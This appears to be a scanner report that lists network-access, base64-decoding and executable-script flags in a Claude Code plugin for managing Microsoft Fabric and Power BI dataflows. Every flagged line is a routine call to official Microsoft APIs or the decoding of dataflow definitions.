az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 365
--resource "https://api.fabric.microsoft.com" \ - Network accessline 366
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 406
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 407
--resource "https://api.fabric.microsoft.com" \ - Network accessline 408
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 493
$LH_ID = "<lakehouseId>" $DF_NAME = "my-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" - Network accessline 494
$DF_NAME = "my-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" $API = "$RESOURCE/v1" - Network accessline 495
$RESOURCE = "https://api.fabric.microsoft.com" - Network accessline 497
$PBI_RESOURCE = "https://analysis.windows.net/powerbi/api" - Network accessline 513
# Step 3: Resolve ClusterId $CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE ` --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" ` - Network accessline 514
$CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" - Network accessline 515
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" ` - Possible obfuscationline 603
[Convert]::FromBase64String( - Network accessline 632
$WH_ID = "<warehouseId>" $DF_NAME = "my-warehouse-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" - Network accessline 633
$DF_NAME = "my-warehouse-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" $API = "$RESOURCE/v1" - Network accessline 634
$RESOURCE = "https://api.fabric.microsoft.com" - Network accessline 636
$PBI_RESOURCE = "https://analysis.windows.net/powerbi/api" - Network accessline 652
# Step 3: Resolve ClusterId $CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE ` --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" ` - Network accessline 653
$CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" - Network accessline 654
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" ` - Possible obfuscationline 744
[Convert]::FromBase64String( - Network accessline 773
# Prerequisites: az login, ADX connection pre-created in portal, database writable. $WS_ID = "<workspaceId>" $ADX_CLUSTER = "https://mycluster.northeurope.kusto.windows.net/" # Must match connection path EXACTLY - Network accessline 774
$WS_ID = "<workspaceId>" $ADX_CLUSTER = "https://mycluster.northeurope.kusto.windows.net/" # Must match connection path EXACTLY $ADX_DB = "MyDatabase" - Network accessline 775
$ADX_CLUSTER = "https://mycluster.northeurope.kusto.windows.net/" # Must match connection path EXACTLY - Network accessline 776
$ADX_DB = "MyDatabase" $DF_NAME = "my-adx-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" - Network accessline 777
$DF_NAME = "my-adx-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" $API = "$RESOURCE/v1" - Network accessline 778
$RESOURCE = "https://api.fabric.microsoft.com" - Network accessline 780
$PBI_RESOURCE = "https://analysis.windows.net/powerbi/api" - Network accessline 796
# Step 3: Resolve ClusterId $ADX_CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE ` --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" ` - Network accessline 797
$ADX_CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" - Network accessline 798
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" ` - Possible obfuscationline 884
[Convert]::FromBase64String(
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption.md
- Network accessline 91
# Find workspace ID by name WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 92
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 93
--resource "https://api.fabric.microsoft.com" \ - Network accessline 94
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 97
# Find dataflow ID by name within workspace DF_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 98
DF_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 99
--resource "https://api.fabric.microsoft.com" \ - Network accessline 100
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows" \ - Network accessline 108
WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" - Network accessline 109
DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" AZ="az rest --resource https://api.fabric.microsoft.com" - Network accessline 110
API="https://api.fabric.microsoft.com/v1" - Network accessline 111
AZ="az rest --resource https://api.fabric.microsoft.com" - Network accessline 123
# 1. List workspaces → find target az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 124
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 127
# 2. List dataflows → enumerate all az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 128
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 132
# 3. Get dataflow properties az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 133
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
# "this dataflow has no parameters" and report it plainly — do NOT surface the # raw error. Optionally confirm by checking mashup.pq for `IsParameterQuery`. az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 140
# raw error. Optionally confirm by checking mashup.pq for `IsParameterQuery`. az rest --method get --resource "https://api.fabric.microsoft.com" \ --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/parameters" \ - Network accessline 141
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 145
# 5. Get definition → decode mashup.pq RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 146
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 150
# 6. Check job history az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 151
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 173
- **Always `az login` first** — `az rest` uses the active session. No session → cryptic failure. - **Always `--resource "https://api.fabric.microsoft.com"`** — wrong audience = 401. - **Handle pagination** — repeat requests with `continuati - Network accessline 174
- **Always `--resource "https://api.fabric.microsoft.com"`** — wrong audience = 401. - **Handle pagination** — repeat requests with `continuationToken` until absent/null. - **Handle LRO for `getDefinition`** — may return `202 Accepted` with - Network accessline 199
| Symptom | Cause | Fix | |---|---|---| | `401 Unauthorized` | Token expired or wrong audience | `az login`; ensure `--resource "https://api.fabric.microsoft.com"` | - Network accessline 200
|---|---|---| | `401 Unauthorized` | Token expired or wrong audience | `az login`; ensure `--resource "https://api.fabric.microsoft.com"` | | `403 Forbidden` on `getDefinition` | Viewer role (Read-only) | Requires Contributor role or higher - Network accessline 201
| `401 Unauthorized` | Token expired or wrong audience | `az login`; ensure `--resource "https://api.fabric.microsoft.com"` | - Network accessline 223
az rest --method get \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows" \ - Network accessline 224
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows" \ - Network accessline 225
--resource "https://api.fabric.microsoft.com" \ - Network accessline 236
# Step 1: Request definition (POST returns 202 with Location header). # az rest cannot expose response headers, so capture Location via curl + az-acquired token. - Network accessline 237
# az rest cannot expose response headers, so capture Location via curl + az-acquired token. - Network accessline 238
[Credential-related source omitted] - Network accessline 239
LOCATION=$(curl -sS -X POST \ - Network accessline 240
[Credential-related source omitted] - Network accessline 241
"https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/getDefinition" \ - Network accessline 244
# Step 2: Poll until definition is ready DEF=$(az rest --method get --url "${LOCATION}" \ --resource "https://api.fabric.microsoft.com") - Network accessline 245
DEF=$(az rest --method get --url "${LOCATION}" --resource "https://api.fabric.microsoft.com") - Network accessline 246
--resource "https://api.fabric.microsoft.com") - Possible obfuscationline 254
print(base64.b64decode(p['payload']).decode('utf-8')) - Network accessline 265
# Get recent job instances for a dataflow az rest --method get \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?limit=5" \ - Network accessline 266
az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?limit=5" - Network accessline 267
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?limit=5" \ - Network accessline 268
--resource "https://api.fabric.microsoft.com" \ - Possible obfuscationline 285
meta = json.loads(base64.b64decode(p['payload']).decode('utf-8')) - Network accessline 337
# Step 3: Execute the query (raw Apache Arrow IPC stream is written directly to disk) az rest --method post \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \ - Network accessline 338
az rest --method post --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" - Network accessline 339
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \ - Network accessline 340
--resource "https://api.fabric.microsoft.com" \ - Network accessline 465
az rest --method post \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \ - Network accessline 466
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \ - Network accessline 467
--resource "https://api.fabric.microsoft.com" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/charts/bar_chart.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/charts/line_chart.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/consumption-cli-quickref.md
- Network accessline 8
WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" - Network accessline 9
DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" AZ="az rest --resource https://api.fabric.microsoft.com" - Network accessline 10
API="https://api.fabric.microsoft.com/v1" - Network accessline 11
AZ="az rest --resource https://api.fabric.microsoft.com" - Network accessline 28
# List dataflows across all workspaces (iterate) for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 29
for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 93
# List dataflows az rest --method get --resource "https://api.fabric.microsoft.com" ` - Network accessline 94
az rest --method get --resource "https://api.fabric.microsoft.com" ` - Network accessline 95
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows" ` - Network accessline 98
# Discover parameters az rest --method get --resource "https://api.fabric.microsoft.com" ` - Network accessline 99
az rest --method get --resource "https://api.fabric.microsoft.com" ` - Network accessline 100
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/parameters" ` - Network accessline 103
# Decode mashup.pq (PowerShell) $response = az rest --method post --resource "https://api.fabric.microsoft.com" ` - Network accessline 104
$response = az rest --method post --resource "https://api.fabric.microsoft.com" ` - Network accessline 105
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/getDefinition" | ConvertFrom-Json - Possible obfuscationline 107
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mashup.payload))
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/discovery-queries.md
- Network accessline 10
# All dataflows with description and type az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 11
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 20
URL="$API/workspaces/$WS_ID/dataflows" while [ -n "$URL" ]; do RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL") - Network accessline 21
while [ -n "$URL" ]; do RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL") echo "$RESPONSE" | jq -r '.value[] | [.id, .displayName] | @tsv' - Network accessline 22
RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL") - Network accessline 36
# Find dataflows across all accessible workspaces for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 37
for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 39
WS_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 41
DATAFLOWS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 55
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 69
# getDefinition may return 202 with Location header HTTP_CODE=$(curl -s -o /tmp/df_def.json -w "%{http_code}" -X POST \ - Network accessline 70
HTTP_CODE=$(curl -s -o /tmp/df_def.json -w "%{http_code}" -X POST \ - Network accessline 71
[Credential-related source omitted] - Network accessline 76
echo "LRO started. Polling $LOCATION ..." while true; do STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
while true; do STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ --url "$LOCATION" --query "status" -o tsv) - Network accessline 78
STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 83
done # Get the result az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 84
# Get the result az rest --method get --resource "https://api.fabric.microsoft.com" \ --url "${LOCATION}/result" - Network accessline 85
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 93
# Decode mashup.pq and list all shared queries az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 94
az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 109
# Decode queryMetadata.json and list connections az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 110
az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
# Decode queryMetadata.json and classify queries az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 120
az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 142
# Tabular parameter report az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 143
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 151
# Extract parameter definitions from M code az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 152
az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 163
# Count jobs by status az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 164
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 172
# Average duration of completed jobs (in seconds) az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 173
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 184
# List all failures with reasons az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 185
az rest --method get --resource "https://api.fabric.microsoft.com" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/script-templates.md
- Network accessline 11
# --- Configuration --- WS_ID="${WS_ID:?Set WS_ID env var (workspace ID)}" API="https://api.fabric.microsoft.com/v1" - Network accessline 13
API="https://api.fabric.microsoft.com/v1" - Network accessline 23
COUNT=0 while [ -n "$URL" ]; do RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL") - Network accessline 24
while [ -n "$URL" ]; do RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL") echo "$RESPONSE" | jq -r '.value[] | "\(.displayName)\t\(.id)"' - Network accessline 25
RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL") - Network accessline 47
WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var (dataflow ID)}" API="https://api.fabric.microsoft.com/v1" - Network accessline 48
DF_ID="${DF_ID:?Set DF_ID env var (dataflow ID)}" API="https://api.fabric.microsoft.com/v1" OUTPUT_DIR="${1:-.}" - Network accessline 49
API="https://api.fabric.microsoft.com/v1" - Network accessline 57
# --- Get dataflow name --- DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 58
DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 62
# --- Get definition --- echo "Fetching definition..." RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 63
echo "Fetching definition..." RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/getDefinition") - Network accessline 64
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 103
WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" - Network accessline 104
DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" MAX_WAIT="${MAX_WAIT:-3600}" # 60 minutes default - Network accessline 105
API="https://api.fabric.microsoft.com/v1" - Network accessline 112
# --- Get latest job instance --- echo "Checking latest job for dataflow $DF_ID..." LATEST=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 113
echo "Checking latest job for dataflow $DF_ID..." LATEST=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances" \ - Network accessline 114
LATEST=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 134
STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 141
Completed|Failed|Cancelled) echo "✓ Job reached terminal state: $STATUS" az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 142
echo "✓ Job reached terminal state: $STATUS" az rest --method get --resource "https://api.fabric.microsoft.com" \ --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances" \ - Network accessline 143
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 168
WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" - Network accessline 170
API="https://api.fabric.microsoft.com/v1" - Network accessline 176
# --- Get dataflow name --- DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 177
DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 182
# --- Discover parameters --- PARAMS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 183
PARAMS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 212
$API = "https://api.fabric.microsoft.com/v1" - Network accessline 216
do { $response = az rest --method get --resource "https://api.fabric.microsoft.com" --url $url | ConvertFrom-Json - Network accessline 217
$response = az rest --method get --resource "https://api.fabric.microsoft.com" --url $url | ConvertFrom-Json - Network accessline 252
$API = "https://api.fabric.microsoft.com/v1" - Network accessline 253
$resource = "https://api.fabric.microsoft.com" - Possible obfuscationline 288
$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($part.payload)) - Network accessline 308
$API = "https://api.fabric.microsoft.com/v1" - Network accessline 309
$jobs = (az rest --method get --resource "https://api.fabric.microsoft.com" ` - Network accessline 342
API="https://api.fabric.microsoft.com/v1" - Network accessline 343
AZ="az rest --resource https://api.fabric.microsoft.com" - Network accessline 406
$API = "https://api.fabric.microsoft.com/v1" - Network accessline 407
$AZ = "az rest --resource https://api.fabric.microsoft.com" - Network accessline 429
try { az rest --method post ` --resource "https://api.fabric.microsoft.com" ` - Network accessline 430
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 431
--resource "https://api.fabric.microsoft.com" ` - Network accessline 496
API="https://api.fabric.microsoft.com/v1" - Network accessline 497
AZ="az rest --resource https://api.fabric.microsoft.com"
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/upgrade.md
- Network accessline 50
> **Agent check** — verify before first operation: > ```bash > az --version 2>/dev/null || echo "INSTALL: https://aka.ms/install-azure-cli" - Network accessline 51
> ```bash > az --version 2>/dev/null || echo "INSTALL: https://aka.ms/install-azure-cli" > jq --version 2>/dev/null || echo "INSTALL: apt-get install jq OR brew install jq" - Network accessline 52
> az --version 2>/dev/null || echo "INSTALL: https://aka.ms/install-azure-cli" - Network accessline 62
| API | Audience (`--resource`) | Use For | |---|---|---| | **Fabric Items API** | `https://api.fabric.microsoft.com` | List Gen2 dataflows (Fabric-native), workspace discovery | - Network accessline 63
|---|---|---| | **Fabric Items API** | `https://api.fabric.microsoft.com` | List Gen2 dataflows (Fabric-native), workspace discovery | | **Power BI REST API** | `https://analysis.windows.net/powerbi/api` | Gen1 dataflow discovery, `saveAsNa - Network accessline 64
| **Fabric Items API** | `https://api.fabric.microsoft.com` | List Gen2 dataflows (Fabric-native), workspace discovery | - Network accessline 65
| **Power BI REST API** | `https://analysis.windows.net/powerbi/api` | Gen1 dataflow discovery, `saveAsNativeArtifact`, data sources, upstream dataflows, Admin API scanning | - Network accessline 68
# Fabric Items API — list Gen2 dataflows in a workspace az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 69
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 70
--resource "https://api.fabric.microsoft.com" \ - Network accessline 71
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows" - Network accessline 73
# Power BI REST API — list all dataflows (Gen1 + Gen2) in a workspace az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 74
az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 75
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 76
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" - Network accessline 78
# Power BI Admin API — list all dataflows tenant-wide (requires admin role) az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 79
az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 80
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 81
--url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" - Network accessline 106
WS_ID="<workspaceId>" RESOURCE_PBI="https://analysis.windows.net/powerbi/api" - Network accessline 107
RESOURCE_PBI="https://analysis.windows.net/powerbi/api" - Network accessline 110
ALL_DATAFLOWS=$(az rest --method get \ --resource "$RESOURCE_PBI" \ --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \ - Network accessline 111
--resource "$RESOURCE_PBI" \ --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \ --query "value[].{id:objectId, name:name, generation:generation, modelUrl:modelUrl, configuredBy:configuredBy}" -o json) - Network accessline 112
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \ - Network accessline 129
RESOURCE_PBI="https://analysis.windows.net/powerbi/api" - Network accessline 132
ADMIN_DATAFLOWS=$(az rest --method get \ --resource "$RESOURCE_PBI" \ --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \ - Network accessline 133
--resource "$RESOURCE_PBI" \ --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \ --query "value[].{id:objectId, name:name, workspaceId:workspaceId, modelUrl:modelUrl, configuredBy:configuredBy}" \ - Network accessline 134
--url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \ - Network accessline 215
POST https://api.powerbi.com/v1.0/myorg/groups/{groupId}/dataflows/{gen1DataflowId}/saveAsNativeArtifact - Network accessline 235
az rest --method post \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 236
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 237
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$GEN1_ID/saveAsNativeArtifact" \ - Network accessline 329
# Step 1 — Resolve workspace ID WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 330
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 331
--resource "https://api.fabric.microsoft.com" \ - Network accessline 332
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 335
# Step 2 — List all dataflows with generation property ALL_DFS=$(az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 336
ALL_DFS=$(az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 337
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 338
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" -o json) - Network accessline 363
# Execute save-as RESPONSE=$(az rest --method post \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 364
RESPONSE=$(az rest --method post --resource "https://analysis.windows.net/powerbi/api" - Network accessline 365
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 366
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$GEN1_ID/saveAsNativeArtifact" \ - Network accessline 385
# Requires Fabric administrator role ALL_DFS=$(az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 386
ALL_DFS=$(az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 387
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 388
--url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" -o json)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/upgrade/risk-assessment-guide.md
- Network accessline 36
# Export the full definition and check for PPI config DEFINITION=$(az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 37
DEFINITION=$(az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 38
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 39
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID" -o json) - Network accessline 65
# From List Dataflows response — check modelUrl az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 66
az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 67
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 68
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \ - Network accessline 77
# Using Admin API — tenant-wide BYOSA detection az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 78
az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 79
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 80
--url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \ - Network accessline 108
# Check transaction history for externally triggered refreshes az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 109
az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 110
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 111
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID/transactions" \ - Network accessline 135
# List pipelines in the workspace PIPELINES=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 136
PIPELINES=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 137
--resource "https://api.fabric.microsoft.com" \ - Network accessline 138
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataPipelines" \ - Network accessline 165
# Check upstream dataflow dependencies UPSTREAM=$(az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 166
UPSTREAM=$(az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 167
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 168
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID/upstreamDataflows" -o json) - Network accessline 174
# Also check the definition for entity references DEFINITION=$(az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 175
DEFINITION=$(az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 176
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 177
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID" -o json) - Network accessline 204
# Export the definition and check partition modes DEFINITION=$(az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 205
DEFINITION=$(az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 206
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 207
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID" -o json)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/upgrade/upgrade-cli-quickref.md
- Network accessline 10
# Set API audiences RESOURCE_FABRIC="https://api.fabric.microsoft.com" - Network accessline 11
RESOURCE_FABRIC="https://api.fabric.microsoft.com" - Network accessline 12
RESOURCE_PBI="https://analysis.windows.net/powerbi/api" - Network accessline 13
API_FABRIC="https://api.fabric.microsoft.com/v1" - Network accessline 14
API_PBI="https://api.powerbi.com/v1.0/myorg" - Network accessline 249
[Credential-related source omitted] - Network accessline 250
[Credential-related source omitted] - Network accessline 251
$workspaces = Invoke-RestMethod -Uri "https://api.fabric.microsoft.com/v1/workspaces" -Headers $headers - Network accessline 253
[Credential-related source omitted] - Network accessline 254
[Credential-related source omitted] - Network accessline 255
$dataflows = Invoke-RestMethod -Uri "https://api.powerbi.com/v1.0/myorg/groups/$wsId/dataflows" -Headers $pbiHeaders
